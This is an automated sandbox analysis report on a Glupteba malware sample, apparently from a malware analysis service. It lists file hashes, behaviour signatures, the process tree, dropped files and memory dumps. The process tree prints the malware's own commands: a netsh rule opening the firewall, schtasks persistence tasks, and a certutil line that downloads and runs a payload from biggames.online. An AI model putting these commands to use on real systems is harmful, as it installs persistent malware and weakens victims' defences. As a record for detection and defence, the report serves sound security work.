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Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    windows7_x64
  • resource
    win7-20240508-en
  • resource tags

    arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
  • submitted
    11/06/2024, 21:14

General

  • Target

    9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe

  • Size

    3.9MB

  • MD5

    9f8a475abce8ee5d836319045b20b65d

  • SHA1

    89eeee314fd0f4a1bb48a24ed37cb985897660f3

  • SHA256

    807457fd6828a6c089bfe1808dd9b21c3820fad6e54e18b517cb0bbd38abc42a

  • SHA512

    1f4426cbd2b441e9ae1e1c0f473a97a71b8d1a4eac47743a26c2d7fa64441e59aeb5d9c88c9362a0a7f63a11ffd2a2713f2a3818ce46af3982df3289051f720c

  • SSDEEP

    98304:IzkDz5Z5gxwn2hPMW35eQ7Cr56fWHd2JID4VV2iwbZ:+kDb5gaOj35u6fWHd2JIqV5QZ

Malware Config

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba payload 35 IoCs
  • Windows security bypass 2 TTPs 12 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 11 IoCs
  • Windows security modification 2 TTPs 12 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

  • Modifies boot configuration data using bcdedit 1 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 3 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 48 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1728
    • C:\Users\Admin\AppData\Local\Temp\9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe
      "C:\Users\Admin\AppData\Local\Temp\9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2120
      • C:\Users\Admin\AppData\Local\Temp\9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe
        "C:\Users\Admin\AppData\Local\Temp\9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe"
        3⤵
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:804
        • C:\Users\Admin\AppData\Local\Temp\9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe
          "C:\Users\Admin\AppData\Local\Temp\9f8a475abce8ee5d836319045b20b65d_JaffaCakes118.exe"
          4⤵
          • Windows security bypass
          • Loads dropped DLL
          • Windows security modification
          • Adds Run key to start application
          • Checks for VirtualBox DLLs, possible anti-VM trick
          • Drops file in Windows directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:2508
          • C:\Windows\system32\cmd.exe
            C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1932
            • C:\Windows\system32\netsh.exe
              netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
              6⤵
              • Modifies Windows Firewall
              • Modifies data under HKEY_USERS
              PID:2256
          • C:\Windows\rss\csrss.exe
            C:\Windows\rss\csrss.exe ""
            5⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Suspicious use of WriteProcessMemory
            PID:2836
            • C:\Windows\rss\csrss.exe
              C:\Windows\rss\csrss.exe ""
              6⤵
              • Executes dropped EXE
              • Manipulates WinMonFS driver.
              • Modifies data under HKEY_USERS
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:1664
              • C:\Windows\system32\schtasks.exe
                schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                7⤵
                • Creates scheduled task(s)
                PID:1556
              • C:\Windows\system32\schtasks.exe
                schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://biggames.online/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
                7⤵
                • Creates scheduled task(s)
                PID:2180
              • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
                "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
                7⤵
                • Executes dropped EXE
                • Loads dropped DLL
                PID:2348
              • C:\Windows\system32\bcdedit.exe
                C:\Windows\Sysnative\bcdedit.exe /v
                7⤵
                • Modifies boot configuration data using bcdedit
                PID:1032
  • C:\Windows\system32\makecab.exe
    "C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20240611211505.log C:\Windows\Logs\CBS\CbsPersist_20240611211505.cab
    1⤵
    • Drops file in Windows directory
    PID:2672

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe

    Filesize

    1.7MB

    MD5

    13aaafe14eb60d6a718230e82c671d57

    SHA1

    e039dd924d12f264521b8e689426fb7ca95a0a7b

    SHA256

    f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

    SHA512

    ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

  • C:\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe

    Filesize

    5.3MB

    MD5

    1afff8d5352aecef2ecd47ffa02d7f7d

    SHA1

    8b115b84efdb3a1b87f750d35822b2609e665bef

    SHA256

    c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1

    SHA512

    e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

  • C:\Windows\rss\csrss.exe

    Filesize

    3.9MB

    MD5

    9f8a475abce8ee5d836319045b20b65d

    SHA1

    89eeee314fd0f4a1bb48a24ed37cb985897660f3

    SHA256

    807457fd6828a6c089bfe1808dd9b21c3820fad6e54e18b517cb0bbd38abc42a

    SHA512

    1f4426cbd2b441e9ae1e1c0f473a97a71b8d1a4eac47743a26c2d7fa64441e59aeb5d9c88c9362a0a7f63a11ffd2a2713f2a3818ce46af3982df3289051f720c

  • \Users\Admin\AppData\Local\Temp\dbghelp.dll

    Filesize

    1.5MB

    MD5

    f0616fa8bc54ece07e3107057f74e4db

    SHA1

    b33995c4f9a004b7d806c4bb36040ee844781fca

    SHA256

    6e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026

    SHA512

    15242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c

  • \Users\Admin\AppData\Local\Temp\osloader.exe

    Filesize

    591KB

    MD5

    e2f68dc7fbd6e0bf031ca3809a739346

    SHA1

    9c35494898e65c8a62887f28e04c0359ab6f63f5

    SHA256

    b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4

    SHA512

    26256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579

  • \Users\Admin\AppData\Local\Temp\symsrv.dll

    Filesize

    163KB

    MD5

    5c399d34d8dc01741269ff1f1aca7554

    SHA1

    e0ceed500d3cef5558f3f55d33ba9c3a709e8f55

    SHA256

    e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f

    SHA512

    8ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d

  • memory/804-21-0x0000000000400000-0x0000000000C4F000-memory.dmp

    Filesize

    8.3MB

  • memory/804-20-0x0000000002790000-0x0000000002B36000-memory.dmp

    Filesize

    3.6MB

  • memory/804-30-0x0000000000400000-0x0000000000C4F000-memory.dmp

    Filesize

    8.3MB

  • memory/1664-82-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

  • memory/1664-60-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

  • memory/1664-115-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

  • memory/1664-113-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

  • memory/1664-112-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

  • memory/1664-111-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

  • memory/1664-110-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

  • memory/1664-109-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

  • memory/1664-108-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

  • memory/1664-107-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

  • memory/1664-106-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

  • memory/1664-105-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

  • memory/1664-103-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

  • memory/1664-102-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

  • memory/1664-94-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

  • memory/1664-61-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

  • memory/1664-55-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

  • memory/1664-56-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

  • memory/1664-54-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

  • memory/1664-57-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

  • memory/1664-58-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

  • memory/1728-1-0x0000000002610000-0x00000000029B6000-memory.dmp

    Filesize

    3.6MB

  • memory/1728-2-0x00000000029C0000-0x00000000030B5000-memory.dmp

    Filesize

    7.0MB

  • memory/1728-11-0x0000000002610000-0x00000000029B6000-memory.dmp

    Filesize

    3.6MB

  • memory/1728-0-0x0000000002610000-0x00000000029B6000-memory.dmp

    Filesize

    3.6MB

  • memory/2120-12-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

  • memory/2120-8-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

  • memory/2120-7-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

  • memory/2120-3-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

    Filesize

    4KB

  • memory/2120-9-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

  • memory/2120-13-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

  • memory/2120-14-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

  • memory/2120-10-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

  • memory/2120-5-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

  • memory/2348-81-0x0000000140000000-0x00000001405E8000-memory.dmp

    Filesize

    5.9MB

  • memory/2348-71-0x0000000140000000-0x00000001405E8000-memory.dmp

    Filesize

    5.9MB

  • memory/2508-47-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

  • memory/2508-28-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

  • memory/2508-31-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

  • memory/2508-29-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

  • memory/2508-22-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

    Filesize

    4KB

  • memory/2508-27-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

  • memory/2508-32-0x0000000000400000-0x0000000000B0F000-memory.dmp

    Filesize

    7.1MB

  • memory/2836-48-0x0000000002590000-0x0000000002936000-memory.dmp

    Filesize

    3.6MB